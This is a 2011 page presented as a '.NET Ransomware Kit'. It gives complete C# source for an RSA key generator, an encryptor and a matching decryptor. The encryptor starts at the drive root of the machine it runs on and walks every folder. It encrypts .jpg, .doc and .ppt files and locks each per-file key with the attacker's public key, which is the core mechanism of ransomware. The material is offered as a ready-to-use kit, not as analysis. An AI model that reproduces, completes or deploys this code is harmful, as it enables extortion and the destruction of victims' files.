    return To index | download demo package!

    .NET Ransomware Kit
    -------------------
    alcopaul/brigada ocho
    june 11, 2011

    ==================================
    RSA Private key/Public key Creator
    ==================================
    using System;
    using System.Windows.Forms;
    using System.Security.Cryptography;

    private void button1_Click(object sender, EventArgs e)
            {
                CspParameters cspParams = new CspParameters();
                cspParams.ProviderType = 1;
                cspParams.Flags = CspProviderFlags.UseArchivableKey;
                cspParams.KeyNumber = (int)KeyNumber.Exchange;
                RSACryptoServiceProvider rsaProvider = new RSACryptoServiceProvider(Convert.ToInt32(comboBox1.SelectedItem), cspParams);

                textBox1.Text = rsaProvider.ToXmlString(true);
                textBox2.Text = rsaProvider.ToXmlString(false);

            }

    //textBox1.Text contains the generated private key
    //textBox2.Text contains the generated public key
    //comboBox1.Items = {"1024","2048","3072"};

    =========================================================================================================
    Encryptor = searches for certain filetypes in the hard disk, encrypts them using Rijndael with random key
    and encrypts the random key using a public key.. (jjj = public key)
    =========================================================================================================

    using System;
    using System.IO;
    using System.Security.Cryptography;
    using System.Text;
    using System.Collections;
    using System.Diagnostics;

    namespace ConsoleApplication9
    {
        public class RandomUtil
        {
            public static string GetRandomString()
            {
                string path = Path.GetRandomFileName();
                path = path.Replace(".", ""); // Remove period.
                return path;
            }
            static byte[] EncryptKey(string publicKeyText, byte[] key)
            {
                CspParameters cspParams = new CspParameters();
                cspParams.ProviderType = 1;
                RSACryptoServiceProvider rsaProvider = new RSACryptoServiceProvider(cspParams);
                // Import public key
                rsaProvider.FromXmlString(publicKeyText);
                byte[] encryptedBytes = rsaProvider.Encrypt(key, false);
                // Write encrypted text to file
                return encryptedBytes;

            } // Encrypt
            public void EncryptFile(string file)
            {
                ASCIIEncoding askii = new ASCIIEncoding();
                Random j = new Random((int)DateTime.Now.Ticks);
                int h = j.Next(0, 7);
                string p = GetRandomString() + GetRandomString().Substring(h, 5);
                byte[] key = askii.GetBytes(p);
                string newfile = file + ".krypt";

                MemoryStream fsm = new MemoryStream();
                RijndaelManaged cr = new RijndaelManaged();
                CryptoStream cs = new CryptoStream(fsm, cr.CreateEncryptor(key, key), CryptoStreamMode.Write);
                FileStream fsIn = new FileStream(file, FileMode.Open);
                int data;
                while ((data = fsIn.ReadByte()) != -1)
                {
                    cs.WriteByte((byte)data);
                }
                cs.FlushFinalBlock();
                fsIn.Close();
                FileStream outStream = File.OpenWrite(file);
                fsm.WriteTo(outStream);
                outStream.Flush();
                outStream.Close();
                fsm.Close();
                cs.Close();
                File.Move(file, newfile);

                string jjj = "[PUBLIC KEY HERE]";
                using (Stream fileStream = new FileStream(file + ".key", FileMode.Create, FileAccess.Write, FileShare.None))
                {
                    using (BinaryWriter bw = new BinaryWriter(fileStream))
                    {
                        bw.Write(EncryptKey(jjj, key));
                    }
                }
            }

        }
        class Program
        {
            static void Main(string[] args)
            {
                string xselfy = Process.GetCurrentProcess().MainModule.FileName;
                string xyxx = Path.GetDirectoryName(xselfy);
                string glen = Directory.GetDirectoryRoot(xyxx);
                DirectoryInfo dirx = new DirectoryInfo(@glen);
                // Test the random string method.
                RandomUtil hfff = new RandomUtil();
                AndLetsRock(dirx,hfff);
            }
            private static void AndLetsRock(DirectoryInfo dir, RandomUtil xg)
            {
                string lookfor = "*.jpg>*.doc>*.ppt";
                string[] extensions = lookfor.Split(new char[] { '>' });

                ArrayList myfileinfos = new ArrayList();

                foreach (string ext in extensions)
                {
                    myfileinfos.AddRange(dir.GetFiles(ext));
                }

                FileInfo[] xfinal = (FileInfo[])myfileinfos.ToArray(typeof(FileInfo));

                foreach (FileInfo g in xfinal)
                {
                    try
                    {
                        //error encrypting file
                        xg.EncryptFile(g.FullName);
                    }
                    catch
                    {
                        continue;
                    }
                }
                DirectoryInfo[] dirs = dir.GetDirectories("*.*");
                foreach (DirectoryInfo xdir in dirs)
                {
                    try
                    {
                        AndLetsRock(xdir,xg);
                    }
                    catch
                    {
                        continue;
                    }
                }
            }
        }
    }

    ============================================================================================================
    Decryptor = decrypts "*.key" files using the private key. Decrypted values will be used to decrypt "*.krypt"
    files in the hard disk which will give us the original files... (ggg = private key)
    ============================================================================================================

    using System;
    using System.IO;
    using System.Security.Cryptography;
    using System.Text;
    using System.Collections;
    using System.Diagnostics;

    public class RandomUtil
    {
        static byte[] DecryptKey(string privateKeyText, byte[] key)
        {
            // Select target CSP
            CspParameters cspParams = new CspParameters();
            cspParams.ProviderType = 1; // PROV_RSA_FULL
            //cspParams.ProviderName; // CSP name
            RSACryptoServiceProvider rsaProvider = new RSACryptoServiceProvider(cspParams);

            // Import public key
            rsaProvider.FromXmlString(privateKeyText);

            byte[] encryptedBytes = rsaProvider.Decrypt(key, false);

            return encryptedBytes;

        }

        public void DecryptFile(string encfile, string keyfile)
        {
            byte[] keyx = File.ReadAllBytes(keyfile);
            string ggg = "[PRIVATE KEY HERE]";
            byte[] key = DecryptKey(ggg, keyx);
            string newfile = encfile.Substring(0, (encfile.Length - 6));

            FileStream fsc = new FileStream(newfile, FileMode.Create);
            RijndaelManaged cr = new RijndaelManaged();
            CryptoStream cs = new CryptoStream(fsc, cr.CreateDecryptor(key, key), CryptoStreamMode.Write);
            FileStream fsIn = new FileStream(encfile, FileMode.Open);

            int data;
            while ((data = fsIn.ReadByte()) != -1)
            {
                cs.WriteByte((byte)data);
            }
            fsIn.Close();
            cs.Close();
            fsc.Close();

            File.Delete(encfile);
            File.Delete(keyfile);
        }
    }

    class Program
    {
        static void Main()
        {
            string xselfy = Process.GetCurrentProcess().MainModule.FileName;
            string xyxx = Path.GetDirectoryName(xselfy);
            string glen = Directory.GetDirectoryRoot(xyxx);
            DirectoryInfo dirx = new DirectoryInfo(@glen);
            RandomUtil hfff = new RandomUtil();
            AndLetsRock(dirx, hfff);
        }
        private static void AndLetsRock(DirectoryInfo dir, RandomUtil xg)
        {
            FileInfo[] xfinal = dir.GetFiles("*.krypt");

            foreach (FileInfo g in xfinal)
            {
                try
                {
                    string j = g.FullName;
                    xg.DecryptFile(j, j.Substring(0, (j.Length - 5)) + "key");
                }
                catch
                {
                    continue;
                }
            }
            DirectoryInfo[] dirs = dir.GetDirectories("*.*");
            foreach (DirectoryInfo xdir in dirs)
            {
                try
                {
                    AndLetsRock(xdir, xg);
                }
                catch
                {
                    continue;
                }
            }
        }
    }